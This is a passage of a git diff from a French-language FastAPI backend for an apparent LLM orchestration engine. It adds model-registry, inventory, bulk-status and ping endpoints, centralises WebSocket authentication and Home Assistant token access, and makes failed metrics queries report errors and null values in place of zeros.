/api/chat/sessions/{chat_session_id} — supprime une session """ -import time import json import sqlite3 -from typing import List, Optional +import time + from fastapi import APIRouter, HTTPException from pydantic import BaseModel @@ -22,8 +22,8 @@ class ChatMessageIn(BaseModel): role: str # 'user' | 'assistant' content: str - agents_used: Optional[List[str]] = None - created_at: Optional[float] = None + agents_used: list[str] | None = None + created_at: float | None = None class ChatMessageOut(BaseModel): @@ -31,25 +31,25 @@ class ChatMessageOut(BaseModel): chat_session_id: str role: str content: str - agents_used: Optional[List[str]] + agents_used: list[str] | None created_at: float class SaveMessagesRequest(BaseModel): - messages: List[ChatMessageIn] - title: Optional[str] = None # titre de la session (premier message tronqué) + messages: list[ChatMessageIn] + title: str | None = None # titre de la session (premier message tronqué) class ChatSessionOut(BaseModel): chat_session_id: str - title: Optional[str] + title: str | None created_at: float updated_at: float message_count: int def _upsert_session(conn: sqlite3.Connection, chat_session_id: str, - title: Optional[str], message_count: int) -> None: + title: str | None, message_count: int) -> None: now = time.time() # fetchone() peut être un tuple ou sqlite3.Row selon le contexte appelant existing = conn.execute( @@ -105,7 +105,7 @@ async def save_messages(chat_session_id: str, body: SaveMessagesRequest): return {"saved": len(body.messages), "chat_session_id": chat_session_id} -@router.get("/sessions/{chat_session_id}/messages", response_model=List[ChatMessageOut]) +@router.get("/sessions/{chat_session_id}/messages", response_model=list[ChatMessageOut]) async def get_messages(chat_session_id: str, limit: int = 200): """Récupère les messages d'une session chat (ordre chronologique).""" conn = get_connection() @@ -133,7 +133,7 @@ async def get_messages(chat_session_id: str, limit: int = 200): return result -@router.get("/sessions", response_model=List[ChatSessionOut]) +@router.get("/sessions", response_model=list[ChatSessionOut]) async def list_sessions(limit: int = 50): """Liste les sessions chat récentes.""" conn = get_connection() diff --git a/api/routes/context.py b/api/routes/context.py index 97054ab..d75a10b 100644 --- a/api/routes/context.py +++ b/api/routes/context.py @@ -10,12 +10,14 @@ Auteur : Antigravity IDE + Axel — 2026-06-04 """ -import os import json import logging +import os + from fastapi import APIRouter, HTTPException +from pydantic import BaseModel, Field -from core.safe_io import safe_json_write, file_lock # [P2-3.1] écritures atomiques +from core.safe_io import file_lock, safe_json_write # [P2-3.1] écritures atomiques logger = logging.getLogger(__name__) @@ -116,6 +118,326 @@ def get_models_stats(): raise HTTPException(status_code=500, detail=str(e)) +@router.get("/api/models/registry") +def get_models_registry(): + """ + [#T158] Registre enrichi pour la vue LLMRegistry de l'IHM v2 : chaque modèle + (actifs ET inactifs, sinon un toggle serait irréversible) est joint à ses + métriques réelles — Elo moyen (model_elo_scores), latence moyenne (Circuit + Breaker en mémoire, repli Elo puis ttft_ms), coût/appels 30 jours + (token_usage), coût par tâche réussie (coût 30j / wins Elo) et état du + Circuit Breaker. Aucune valeur inventée : les champs sans donnée sont null. + + NOTE : cette route DOIT rester déclarée avant /api/models/{model_id} + (sinon "registry" serait capturé comme un model_id). + """ + from core.models_db import get_all_models + + models = get_all_models() + + # ── Scores Elo + latence + wins par modèle ── + elo_by_model: dict = {} + try: + from core.elo_scorer import get_all_scores + elo_by_model = get_all_scores() + except Exception as e: + logger.warning(f"[REGISTRY] Scores Elo indisponibles : {e}") + + # ── Circuit Breakers (registre en mémoire du process, clé = nom lower) ── + cb_by_name: dict = {} + try: + from core.llm.circuit_breaker import CircuitBreaker + with CircuitBreaker._registry_lock: + for cb in CircuitBreaker._registry.values(): + stats = cb.get_stats() + cb_by_name[str(stats.get("name", "")).lower()] = stats + except Exception as e: + logger.warning(f"[REGISTRY] Circuit breakers indisponibles : {e}") + + # ── Coût et volume réels sur 30 jours (token_usage) ── + usage_by_model: dict = {} + # ── Volume TOTAL depuis toujours (#T243) ── + # 30 jours ne suffit pas à décider d'une désactivation : un modèle peut n'avoir + # servi qu'une fois il y a deux mois. `calls_total` permet de distinguer + # « inutilisé récemment » de « jamais appelé de toute l'histoire du moteur », + # seul critère honnête pour proposer un modèle à la désactivation. + calls_total_by_model: dict = {} + try: + from core.session_history import get_token_stats + stats_30d = get_token_stats(since_hours=30 * 24) + for entry in stats_30d.get("by_model", []): + usage_by_model[entry["model"]] = entry + stats_all = get_token_stats() # since_hours=None = tout l'historique + for entry in stats_all.get("by_model", []): + calls_total_by_model[entry["model"]] = entry.get("calls") + except Exception as e: + logger.warning(f"[REGISTRY] Stats token_usage indisponibles : {e}") + + # ── Instantané de ce que les API offrent réellement (#T243) ── + # Lecture disque seule : rafraîchir déclencherait une douzaine d'appels réseau, + # inacceptable sur l'affichage du registre. Le rafraîchissement est explicite + # (POST /api/models/inventory/refresh). + instantane = None + try: + from core.model_inventory import charger + instantane = charger() + except Exception as e: + logger.warning(f"[REGISTRY] Instantané d'inventaire indisponible : {e}") + + # ── Modèles réellement câblés dans le gateway (63 ne le sont pas, cf. #T186) ── + wired_names: set = set() + try: + from core.llm_gateway import LLMGateway + wired_names = {str(n).lower() for n in LLMGateway().providers.keys()} + except Exception as e: + logger.warning(f"[REGISTRY] Gateway indisponible : {e}") + + enriched = [] + for m in models: + model_id = m.get("id", "") + domains = elo_by_model.get(model_id, {}) + + elo_score = None + avg_latency_elo = None + wins = 0 + if domains: + elos = [d.get("elo") for d in domains.values() if d.get("elo") is not None] + latencies = [ + d.get("avg_latency_ms") for d in domains.values() + if d.get("avg_latency_ms") + ] + wins = sum(d.get("wins", 0) or 0 for d in domains.values()) + if elos: + elo_score = round(sum(elos) / len(elos), 1) + if latencies: + avg_latency_elo = round(sum(latencies) / len(latencies), 1) + + cb = cb_by_name.get(model_id.lower()) + usage = usage_by_model.get(model_id, {}) + cost_30d = usage.get("cost_usd") + + cost_per_success = None + if wins > 0 and cost_30d is not None: + cost_per_success = round(cost_30d / wins, 6) + + avg_latency_ms = None + if cb and cb.get("avg_latency_ms") is not None: + avg_latency_ms = cb["avg_latency_ms"] + elif avg_latency_elo is not None: + avg_latency_ms = avg_latency_elo + elif m.get("ttft_ms"): + avg_latency_ms = m["ttft_ms"] + + enriched.append({ + **m, + "elo_score": elo_score, + "avg_latency_ms": avg_latency_ms, + "cost_usd_30d": cost_30d, + "calls_30d": usage.get("calls"), + "calls_total": calls_total_by_model.get(model_id, 0), + "cost_per_success": cost_per_success, + "circuit_breaker_status": cb.get("state") if cb else None, + "is_wired": model_id.lower() in wired_names, + # True/False/None — None = on ne sait pas (aucun inventaire, ou provider + # muet au dernier passage). Ne JAMAIS assimiler None à False. + "offered_by_api": _offert(m.get("provider_id", ""), model_id, instantane), + }) + + from core.model_inventory import resume + return {"models": enriched, "count": len(enriched), "inventaire": resume(instantane)} + + +def _offert(provider_id: str, model_id: str, instantane) -> bool | None: + """Enveloppe tolérante : l'absence d'inventaire ne doit pas casser le registre.""" + try: + from core.model_inventory import offert_par_api + return offert_par_api(provider_id, model_id, instantane) + except Exception: + return None + + +@router.get("/api/models/inventory") +def get_model_inventory(): + """ + [#T243] Bilan du dernier inventaire, sans la liste complète des modèles. + + Endpoint distinct de `/api/models/registry` à dessein : ce dernier alimente une + clé React Query partagée par quatre vues, dont le contrat ne doit pas changer. + """ + from core.model_inventory import charger, resume + return {"inventaire": resume(charger())} + + +@router.post("/api/models/inventory/refresh") +async def refresh_model_inventory(): + """ + [#T243] Interroge les endpoints de listing de tous les providers et réécrit + l'instantané lu par `/api/models/registry`. + + Une douzaine d'appels réseau : exécuté dans un thread pour ne pas bloquer la + boucle asyncio (même discipline que le hot-path LLM migré en D5). + + ⚠️ Le résultat dit ce que chaque API **annonce**, pas ce qu'elle **sert** : un + alias encore fonctionnel peut être absent du listing (cas vérifié de + `deepseek-chat`). À traiter comme un indice, jamais comme une preuve de mort. + """ + import asyncio + + from core.model_inventory import rafraichir, resume + + try: + instantane = await asyncio.to_thread(rafraichir) + except Exception as e: + logger.error(f"[INVENTAIRE] Échec du rafraîchissement : {e}") + raise HTTPException( + status_code=500, detail=f"Rafraîchissement impossible : {e}" + ) from e + return {"status": "ok", "inventaire": resume(instantane)} + + +class BulkStatusBody(BaseModel): + """Corps de `POST /api/models/bulk-status`.""" + + ids: list[str] = Field(..., min_length=1, max_length=500) + status: str + + +@router.post("/api/models/bulk-status") +def bulk_set_models_status(body: BulkStatusBody): + """ + [#T243] Active ou désactive PLUSIEURS modèles en un appel. + + L'interrupteur unitaire (`/api/models/{id}/toggle`) existe depuis #T158 mais + n'avait jamais servi : sur 94 modèles actifs en production, aucun n'était + désactivé. La cause n'était pas l'absence de bouton mais l'absence d'action en + lot — personne ne bascule 84 modèles un par un. D'où cette route. + + Volontairement `status` explicite plutôt qu'une bascule : appliquer un toggle à + une sélection hétérogène inverserait chaque modèle par rapport à SON état, ce qui + n'est jamais l'intention quand on coche « désactiver ces 40 modèles ». + + Les identifiants inconnus sont signalés dans `introuvables` sans faire échouer le + lot : une sélection issue d'une liste rafraîchie entre-temps ne doit pas être + entièrement perdue pour un modèle disparu. + """ + from core.models_db import get_model, set_model_status + + if body.status not in ("active", "inactive"): + raise HTTPException( + status_code=422, + detail="status doit valoir 'active' ou 'inactive'.", + ) + + modifies: list[str] = [] + inchanges: list[str] = [] + introuvables: list[str] = [] + echecs: list[str] = [] + + for model_id in dict.fromkeys(body.ids): # dédoublonne en gardant l'ordre + model = get_model(model_id) + if model is None: + introuvables.append(model_id) + continue + if model.get("status") == body.status: + inchanges.append(model_id) + continue + if set_model_status(model_id, body.status): + modifies.append(model_id) + else: + echecs.append(model_id) + + if echecs: + logger.error("[BULK-STATUS] Échec d'écriture pour : %s", ", ".join(echecs)) + + logger.info( + "[BULK-STATUS] statut='%s' — %d modifié(s), %d inchangé(s), %d introuvable(s), %d échec(s).", + body.status, len(modifies), len(inchanges), len(introuvables), len(echecs), + ) + return { + "status": "ok" if not echecs else "partiel", + "applique": body.status, + "modifies": modifies, + "inchanges": inchanges, + "introuvables": introuvables, + "echecs": echecs, + } + + +@router.post("/api/models/{model_id}/toggle") +def toggle_model(model_id: str): + """ + [#T158] Bascule le statut actif/inactif d'un modèle (UPDATE ciblé). + status='inactive' suffit à retirer le modèle du routage par tier (#T185). + """ + from core.models_db import get_model, set_model_status + model = get_model(model_id) + if model is None: + raise HTTPException(status_code=404, detail=f"Modèle '{model_id}' introuvable.") + new_status = "inactive" if model.get("status") == "active" else "active" + if not set_model_status(model_id, new_status): + raise HTTPException(status_code=500, detail="Échec de l'écriture en base.") + return {"enabled": new_status == "active", "status": new_status} + + +@router.post("/api/models/{model_id}/routing-tier") +def update_model_routing_tier(model_id: str, body: dict): + """ + [#T185/#T186] Change le routing_tier (leger/moyen/fort ou null) d'un modèle + depuis l'IHM — UPDATE ciblé qui ne touche à aucun autre champ. + """ + from core.models_db import get_model, set_model_routing_tier + if get_model(model_id) is None: + raise HTTPException(status_code=404, detail=f"Modèle '{model_id}' introuvable.") + routing_tier = body.get("routing_tier") + try: + if not set_model_routing_tier(model_id, routing_tier): + raise HTTPException(status_code=500, detail="Échec de l'écriture en base.") + except ValueError as e: + raise HTTPException(status_code=422, detail=str(e)) + return {"status": "ok", "model_id": model_id, "routing_tier": routing_tier} + + +@router.post("/api/models/{model_id}/ping") +async def ping_model(model_id: str): + """ + [#T158] Test de vivacité réel d'un modèle : mini-génération chronométrée via + le gateway (donc avec Circuit Breaker). Les modèles du catalogue non câblés + dans le gateway (#T186) répondent ok=false avec un message explicite. + """ + import time as _time + + from core.llm_gateway import LLMGateway + + gateway = LLMGateway() + try: + provider = gateway.get_provider(model_id) + except ValueError: + return { + "ok": False, + "latency_ms": 0, + "error": "Modèle au catalogue mais non câblé dans le gateway (cf. #T186).", + } + + start = _time.perf_counter() + try: + import asyncio as _asyncio + await _asyncio.wait_for( + provider.generate_async( + system_prompt="Réponds uniquement : pong", + user_prompt="ping", + session_id="hmi_ping", + ), + timeout=20.0, + ) + return {"ok": True, "latency_ms": round((_time.perf_counter() - start) * 1000)} + except Exception as e: + return { + "ok": False, + "latency_ms": round((_time.perf_counter() - start) * 1000), + "error": str(e)[:200], + } + + @router.get("/api/models/{model_id}") def get_model_detail(model_id: str): """Retourne les détails d'un modèle spécifique.""" @@ -152,6 +474,9 @@ def get_keys_status(): "OPENROUTER_API_KEY": bool(os.environ.get("OPENROUTER_API_KEY")), "MISTRAL_API_KEY": bool(os.environ.get("MISTRAL_API_KEY")), "COHERE_API_KEY": bool(os.environ.get("COHERE_API_KEY")), + # Diagnostic de présence de la clé HASS_TOKEN (T239) — volontairement + # hors accesseur get_ha_token() : la sémantique est « cette clé précise + # existe-t-elle », pas « donne-moi le token ». "HASS_TOKEN": bool(os.environ.get("HASS_TOKEN")), } return {"keys": api_keys, "configured_count": sum(api_keys.values())} diff --git a/api/routes/daemon.py b/api/routes/daemon.py index 98b5202..ac99dc2 100644 --- a/api/routes/daemon.py +++ b/api/routes/daemon.py @@ -9,9 +9,10 @@ import json import logging + from fastapi import APIRouter, HTTPException -from core.safe_io import safe_json_write, file_lock # [P1-2.3] +from core.safe_io import file_lock, safe_json_write # [P1-2.3] logger = logging.getLogger(__name__) diff --git a/api/routes/events.py b/api/routes/events.py index f0fa0b6..73a2222 100644 --- a/api/routes/events.py +++ b/api/routes/events.py @@ -4,7 +4,7 @@ """ import logging -from typing import Optional + from fastapi import APIRouter, HTTPException from core.event_store import get_event_store @@ -15,7 +15,7 @@ @router.get("/api/events") -async def get_events(limit: int = 100, type: Optional[str] = None): +async def get_events(limit: int = 100, type: str | None = None): """ Récupère la liste des événements récents de l'EventStore. Filtre optionnel par type d'événement. diff --git a/api/routes/execution.py b/api/routes/execution.py index 1dbd41a..66ff6bc 100644 --- a/api/routes/execution.py +++ b/api/routes/execution.py @@ -11,7 +11,9 @@ """ import logging -from fastapi import APIRouter, HTTPException, WebSocket, WebSocketDisconnect + +from fastapi import APIRouter, Depends, HTTPException, WebSocket, WebSocketDisconnect +from core.auth import require_websocket_auth logger = logging.getLogger(__name__) @@ -32,7 +34,7 @@ def get_status(): async def stop_execution(): """Demande l'arrêt de l'exécution en cours.""" global _stop_requested - from core.app_state import get_app_state, broadcast_event + from core.app_state import broadcast_event, get_app_state state = get_app_state() async with state.execution_lock: @@ -63,7 +65,7 @@ def get_sandbox_pending(): @router.post("/api/sandbox/approve") async def approve_sandbox(): """Valide et exécute toutes les écritures en attente du sandbox.""" - from core.app_state import get_app_state, broadcast_event + from core.app_state import broadcast_event, get_app_state state = get_app_state() sandbox = getattr(state.engine, "sandbox", None) if sandbox is None: @@ -91,19 +93,8 @@ def reject_sandbox(): @router.websocket("/ws") -async def websocket_endpoint(websocket: WebSocket): +async def websocket_endpoint(websocket: WebSocket, token: str = Depends(require_websocket_auth)): """Canal WebSocket bidirectionnel pour les actions utilisateur en temps réel.""" - # [P0-1.1] Auth WS : le navigateur ne peut pas porter de header Authorization → - # le token transite en query param (?token=). Fail-closed comme require_auth. - import hmac - from core.auth import _get_api_key - _required_key = _get_api_key() - _token = websocket.query_params.get("token", "") - if not _required_key or not _token or not hmac.compare_digest(_token, _required_key): - await websocket.close(code=1008) # Policy Violation - logger.warning("[WS] Connexion refusée : token absent ou invalide.") - return - await websocket.accept() _ws_clients.append(websocket) logger.info(f"[WS] Client connecté. Total : {len(_ws_clients)}") diff --git a/api/routes/google_workspace.py b/api/routes/google_workspace.py index dbfd011..546c64a 100644 --- a/api/routes/google_workspace.py +++ b/api/routes/google_workspace.py @@ -8,6 +8,7 @@ """ import logging + from fastapi import APIRouter logger = logging.getLogger("api.google_workspace") diff --git a/api/routes/ha.py b/api/routes/ha.py index 47acd51..4cdf820 100644 --- a/api/routes/ha.py +++ b/api/routes/ha.py @@ -15,6 +15,7 @@ from pydantic import BaseModel from core.ha_tls import ha_ssl_context, ha_tls_pinned_hostname # [P0-1.5] politique TLS HA centralisée +from core.ha_token import get_ha_token # [T239] lecture centralisée du token HA from core.validation import ( # [P0-1.6] validation des identifiants HA is_valid_ha_domain, is_valid_ha_entity_id, @@ -48,14 +49,13 @@ def _get_ha_credentials(): """ Retourne (ha_url, ha_token) depuis les variables d'environnement. - `HASS_*` est la convention de ce module ; `HA_*` est acceptée en repli car - les outils MCP (`core/mcp_tools/homeassistant.py`) utilisent cette forme et - le `.env` définit historiquement les deux. + Le token passe par l'accesseur centralisé `core.ha_token.get_ha_token()` + (HASS_TOKEN prioritaire, repli HA_TOKEN — T239). """ - ha_token = os.environ.get("HASS_TOKEN") or os.environ.get("HA_TOKEN") + ha_token = get_ha_token() ha_url = os.environ.get("HASS_URL") or os.environ.get("HA_URL") or "http://${HA_HOST:-192.168.1.x}:8123" if not ha_token: - raise HTTPException(status_code=500, detail="HASS_TOKEN non configuré dans l'environnement.") + raise HTTPException(status_code=500, detail="Token Home Assistant non configuré (HASS_TOKEN/HA_TOKEN).") return ha_url, ha_token @@ -74,7 +74,7 @@ async def ha_health(): """ import time - ha_token = os.environ.get("HASS_TOKEN") or os.environ.get("HA_TOKEN") + ha_token = get_ha_token() ha_url = os.environ.get("HASS_URL") or os.environ.get("HA_URL") or "http://${HA_HOST:-192.168.1.x}:8123" verify_tls = os.environ.get("HA_VERIFY_TLS", "true").lower() not in ("false", "0", "no") @@ -93,7 +93,7 @@ async def ha_health(): } if not ha_token: - result["error"] = "HASS_TOKEN absent du .env du moteur — aucune requête tentée." + result["error"] = "Token Home Assistant absent du .env du moteur (HASS_TOKEN/HA_TOKEN) — aucune requête tentée." return result headers = {"Authorization": f"Bearer {ha_token}", "Content-Type": "application/json"} diff --git a/api/routes/metrics.py b/api/routes/metrics.py index 4afc107..7a5c5a2 100644 --- a/api/routes/metrics.py +++ b/api/routes/metrics.py @@ -3,10 +3,13 @@ Observabilité Data-Driven. -Expose les données de télémétrie agrégées depuis les sources SQLite et JSON : -- session_history.db : sessions moteur, token_usage, quota_snapshots, billing -- routing_metrics.db : décisions de routage, scores Elo -- token_usage.json : consommation par modèle +Expose les données de télémétrie agrégées depuis la base unifiée +moteur_runtime.db (core.runtime_db) : +- token_usage : consommation réelle par appel (tokens, coût facturé) — seule + source de vérité pour l'argent et les tokens (#T294) +- sessions : sessions moteur (started_at REAL) +- quota_snapshots : quotas par canal (table clé/valeur, sans notion de coût) +- routing_decisions / model_elo_scores : routage et scores Elo Endpoints : - GET /api/metrics/telemetry : Données agrégées pour le dashboard Chart.js @@ -16,6 +19,7 @@ """ import asyncio +import contextvars import logging import os import sqlite3 @@ -47,8 +51,17 @@ async def serve_metrics_dashboard(): return RedirectResponse(url="/#metrics") -def _safe_query(db_path: str, query: str, params: tuple = ()) -> list: - """Requête SQLite sécurisée sur la base unifiée avec gestion d'erreur.""" +def _safe_query(db_path: str, query: str, params: tuple = ()) -> list | None: + """ + Requête SQLite sécurisée sur la base unifiée. + + Retour : + - une liste de lignes en cas de succès (vide si zéro ligne : mesure nulle) ; + - None en cas de DÉFAUT DE CODE (colonne/table inexistante) : journalisé en + error et remonté dans la réponse via `query_errors`. Un appelant ne doit + jamais convertir None en 0 — ce serait exactement l'exception déguisée en + mesure que cette correction supprime (#T294). + """ try: conn = get_connection() conn.row_factory = sqlite3.Row @@ -56,11 +69,62 @@ def _safe_query(db_path: str, query: str, params: tuple = ()) -> list: rows = [dict(row) for row in cursor.fetchall()] conn.close() return rows + except sqlite3.OperationalError as e: + logger.error(f"[METRICS] Défaut de code : requête invalide — {e}") + _record_query_error(query, str(e)) + return None except Exception as e: logger.warning(f"[METRICS] Erreur SQLite unifiée : {e}") return [] +# Registre des défauts de requête détectés pendant une réponse (ContextVar : +# isolé par requête HTTP, vidé par _reset_query_errors à l'entrée de chaque +# endpoint). Additif : jamais présent dans la réponse si rien n'a échoué. +# default=None (jamais une liste mutable, cf. B039) : initialisation paresseuse +# dans _record_query_error. +_metrics_query_errors: contextvars.ContextVar[list | None] = contextvars.ContextVar( + "metrics_query_errors", default=None +) + + +def _record_query_error(query: str, error: str) -> None: + """Enregistre un défaut de requête pour la réponse en cours (liste créée à la demande).""" + errors = _metrics_query_errors.get() + if errors is None: + errors = [] + _metrics_query_errors.set(errors) + errors.append(f"{query} — {error}") + + +def _reset_query_errors() -> None: + """Ouvre un registre d'erreurs de requête vierge pour la réponse en cours.""" + _metrics_query_errors.set([]) + + +def _attach_query_errors(payload: dict) -> dict: + """Ajoute `query_errors` (additif) si des requêtes ont échoué pendant la réponse.""" + errors = _metrics_query_errors.get() or [] + if errors: + payload["query_errors"] = errors + return payload + + +def _kpi_number(rows: list | None, key: str) -> int | float | None: + """Extrait un KPI agrégé : nombre si la mesure est connue (0 si zéro ligne), + None si la requête a échoué — un défaut de code ne doit jamais devenir un 0.""" + if rows is None: + return None + return (rows[0][key] or 0) if rows else 0 + + +def _rows_or_empty(rows: list | None) -> list: + """Normalise le retour de _safe_query pour les usages hors périmètre KPI : un + échec (None) y vaut liste vide — l'erreur reste journalisée en error et + remonte via query_errors.""" + return rows if rows is not None else [] + + @router.get("/api/metrics/telemetry") async def get_telemetry( period: str = Query("24h", description="Période : 1h, 6h, 24h, 7d, 30d") @@ -74,7 +138,13 @@ async def get_telemetry( - Stats par modèle (usage, Elo, coût/qualité) - Stats de routage (fast-path vs slow-path) - Prévisions budgétaires + + Doctrine #T294 : un champ dont la requête a échoué (défaut de code) reste + null côté API et remonte dans `query_errors` — jamais un 0 menteur. """ + # Registre d'erreurs de requête vierge pour cette réponse (ContextVar isolée). + _reset_query_errors() + # Calculer le timestamp de début selon la période period_map = { "1h": 3600, @@ -86,17 +156,23 @@ async def get_telemetry( seconds = period_map.get(period, 24 * 3600) since_ts = time.time() - seconds + agents, agent_unassigned = _get_agent_stats(since_ts) + result = { "period": period, "generated_at": datetime.now().isoformat(), "time_series": _get_time_series(since_ts), - "agent_stats": _get_agent_stats(since_ts), + "agent_stats": agents, "model_stats": _get_model_stats(since_ts), "routing_stats": _get_routing_stats(since_ts), "kpis": _get_kpis(since_ts), "budget_forecast": _get_budget_forecast(), } - return result + if agent_unassigned: + # agent_name est souvent NULL côté écrivains : distinguer « aucun agent + # renseigné » d'un tableau vide, sans inventer de ligne « null ». + result["agent_stats_unassigned_count"] = agent_unassigned + return _attach_query_errors(result) @router.get("/api/metrics/elo") @@ -178,13 +254,13 @@ def _observed_performance(since_ts: float) -> list: observed: dict[str, dict] = {} # 1. Consommation réelle (token_usage) — appels, tokens, coût facturé. - for row in _safe_query( + for row in _rows_or_empty(_safe_query( _SESSION_DB, "SELECT model, COUNT(*) AS calls, SUM(total_tokens) AS total_tokens, " "SUM(cost_usd) AS cost_usd " "FROM token_usage WHERE timestamp > ? GROUP BY model", (since_ts,), - ): + )): model = row["model"] if not model: continue @@ -203,12 +279,12 @@ def _observed_performance(since_ts: float) -> list: } # 2. Scores Elo (model_elo_scores) — agrégés sur tous les domaines. - for row in _safe_query( + for row in _rows_or_empty(_safe_query( _SESSION_DB, "SELECT model_name, SUM(total_matches) AS matches, SUM(wins) AS wins, " "SUM(losses) AS losses, AVG(elo_score) AS elo, AVG(avg_latency_ms) AS latency " "FROM model_elo_scores GROUP BY model_name", - ): + )): model = row["model_name"] if not model: continue @@ -223,14 +299,14 @@ def _observed_performance(since_ts: float) -> list: entry["avg_latency_ms"] = round(row["latency"], 1) if row["latency"] is not None else None # 3. Latence et succès mesurés au routage (routing_decisions). - for row in _safe_query( + for row in _rows_or_empty(_safe_query( _ROUTING_DB, "SELECT resolved_model, AVG(latency_ms) AS latency, COUNT(*) AS n, " "SUM(CASE WHEN success = 1 THEN 1 ELSE 0 END) AS ok " "FROM routing_decisions WHERE timestamp > ? AND resolved_model IS NOT NULL " "GROUP BY resolved_model", (since_ts,), - ): + )): model = row["resolved_model"] if not model: continue @@ -249,20 +325,20 @@ def _observed_performance(since_ts: float) -> list: def _load_runs(limit: int) -> list: """Charge les derniers comparatifs déclenchés depuis l'IHM, avec leurs résultats.""" - runs = _safe_query( + runs = _rows_or_empty(_safe_query( _SESSION_DB, "SELECT run_id, prompt, system_prompt, created_at, finished_at, status " "FROM benchmark_runs ORDER BY created_at DESC LIMIT ?", (limit,), - ) + )) for run in runs: - run["results"] = _safe_query( + run["results"] = _rows_or_empty(_safe_query( _SESSION_DB, "SELECT model, status, latency_ms, response_text, response_chars, " "prompt_tokens, completion_tokens, cost_usd, error_message " "FROM benchmark_results WHERE run_id = ? ORDER BY latency_ms", (run["run_id"],), - ) + )) return runs @@ -279,12 +355,13 @@ async def get_benchmarks( """ period_map = {"1h": 3600, "6h": 6 * 3600, "24h": 24 * 3600, "7d": 7 * 86400, "30d": 30 * 86400} since_ts = time.time() - period_map.get(period, 30 * 86400) - return { + _reset_query_errors() + return _attach_query_errors({ "period": period, "generated_at": datetime.now().isoformat(), "observed": _observed_performance(since_ts), "runs": _load_runs(limit), - } + }) def _bench_one(model: str, system_prompt: str, user_prompt: str, @@ -415,37 +492,45 @@ async def run_benchmark(body: BenchmarkRequest): @router.get("/api/metrics/routing") async def get_routing_stats_endpoint(): """Statistiques détaillées de routage (catégories, fast/slow path).""" - return _get_routing_stats(time.time() - 7 * 24 * 3600) + _reset_query_errors() + return _attach_query_errors(_get_routing_stats(time.time() - 7 * 24 * 3600)) @router.get("/api/metrics/agents") async def get_agent_stats_endpoint(): - """Performance détaillée par agent.""" - return _get_agent_stats(time.time() - 7 * 24 * 3600) + """Performance détaillée par agent (agent_name ; NULL exclus du tableau et + comptés via `agent_stats_unassigned_count` dans /api/metrics/telemetry).""" + _reset_query_errors() + agents, _ = _get_agent_stats(time.time() - 7 * 24 * 3600) + return _attach_query_errors(agents if agents is not None else []) # ────────────────────────────────────────────────────────────────── # Fonctions d'agrégation internes # ────────────────────────────────────────────────────────────────── -def _get_time_series(since_ts: float) -> dict: +def _get_time_series(since_ts: float) -> dict | None: """ Séries temporelles pour les graphiques Chart.js. - Agrège tokens et coûts par tranche horaire depuis quota_snapshots. + + Agrège tokens et coûts par tranche horaire depuis token_usage — seule source + de vérité (timestamp, total_tokens, cost_usd). Retourne None si la requête a + échoué (défaut de code) : le graphique ne doit pas afficher « aucune donnée + sur la période » quand la mesure est cassée. """ - # Données depuis les snapshots de quota (enregistrés toutes les 60s) - snapshots = _safe_query( + rows = _safe_query( _SESSION_DB, - "SELECT timestamp, gemini_free_tpm, claude_cli_tph, " - "gemini_cli_tph, estimated_cost_usd " - "FROM quota_snapshots WHERE timestamp > ? ORDER BY timestamp", + "SELECT timestamp, total_tokens, cost_usd " + "FROM token_usage WHERE timestamp > ? ORDER BY timestamp", (since_ts,), ) + if rows is None: + return None # Agrégation par heure hourly = {} - for snap in snapshots: - ts = snap.get("timestamp", 0) + for row in rows: + ts = row.get("timestamp", 0) hour_key = datetime.fromtimestamp(ts).strftime("%Y-%m-%d %H:00") if hour_key not in hourly: hourly[hour_key] = { @@ -453,12 +538,8 @@ def _get_time_series(since_ts: float) -> dict: "cost_usd": 0.0, "data_points": 0, } - hourly[hour_key]["tokens"] += ( - (snap.get("gemini_free_tpm") or 0) - + (snap.get("claude_cli_tph") or 0) - + (snap.get("gemini_cli_tph") or 0) - ) - hourly[hour_key]["cost_usd"] += snap.get("estimated_cost_usd") or 0 + hourly[hour_key]["tokens"] += row.get("total_tokens") or 0 + hourly[hour_key]["cost_usd"] += row.get("cost_usd") or 0 hourly[hour_key]["data_points"] += 1 # Formatage pour Chart.js (labels + datasets) @@ -470,32 +551,50 @@ def _get_time_series(since_ts: float) -> dict: } -def _get_agent_stats(since_ts: float) -> list: - """Stats par agent depuis les sessions moteur.""" +def _get_agent_stats(since_ts: float) -> tuple[list | None, int]: + """ + Stats par agent depuis token_usage — agrégées sur la colonne agent_name. + + Distingue trois situations, jamais confondues : + - requête en échec (défaut de code) : liste None, l'erreur remonte via query_errors ; + - zéro ligne sur la période : liste vide ; + - appels dont agent_name est NULL (non renseigné par les écrivains) : exclus + du tableau, mais comptés dans le second élément, exposé additivement via + `agent_stats_unassigned_count` dans la réponse. + """ rows = _safe_query( _SESSION_DB, - "SELECT model_name as agent, " + "SELECT agent_name as agent, " "COUNT(*) as total_calls, " "SUM(CASE WHEN prompt_tokens > 0 THEN 1 ELSE 0 END) as successes, " "SUM(prompt_tokens) as total_input, " "SUM(completion_tokens) as total_output, " "AVG(prompt_tokens + completion_tokens) as avg_tokens " "FROM token_usage WHERE timestamp > ? " - "GROUP BY model_name ORDER BY total_calls DESC", + "GROUP BY agent_name ORDER BY total_calls DESC", (since_ts,), ) + if rows is None: + return None, 0 + agents = [] + unassigned = 0 for row in rows: + if not row.get("agent"): + # agent_name NULL : non renseigné par les écrivains — pas un agent nommé. + unassigned += row.get("total_calls") or 0 + continue total = row.get("total_calls", 1) or 1 row["success_rate"] = round( (row.get("successes", 0) / total) * 100, 1 ) + agents.append(row) - return rows + return agents, unassigned -def _get_model_stats(since_ts: float) -> dict: - """Stats par modèle avec Elo intégré.""" +def _get_model_stats(since_ts: float) -> dict | None: + """Stats par modèle avec Elo intégré (token_usage, requête déjà correcte).""" # Charger depuis token_usage SQLite usage = {} rows = _safe_query( @@ -511,6 +610,10 @@ def _get_model_stats(since_ts: float) -> dict: """, (since_ts,), ) + if rows is None: + # Défaut de code : le tableau ne doit pas afficher « aucun usage » quand + # la mesure est cassée — l'erreur remonte via query_errors. + return None for row in rows: usage[row["model"]] = { "total_tokens": row["total_tokens"] or 0, @@ -566,23 +669,30 @@ def _get_routing_stats(since_ts: float) -> dict: def _get_kpis(since_ts: float) -> dict: - """KPIs bannière (coût total, sessions, taux de succès, tokens).""" - # Coût estimé total + """KPIs bannière (coût total, sessions, tokens). + + Source unique : token_usage pour l'argent et les tokens (la même qui alimente + le tableau « Usage par modèle »), sessions.started_at (REAL) pour les + sessions. Doctrine du fichier : une requête en échec rend None, jamais 0 — + un 0 serait une exception déguisée en mesure (#T294). + """ + # Coût réellement facturé (token_usage) — seule source de vérité de l'argent. billing = _safe_query( _SESSION_DB, - "SELECT 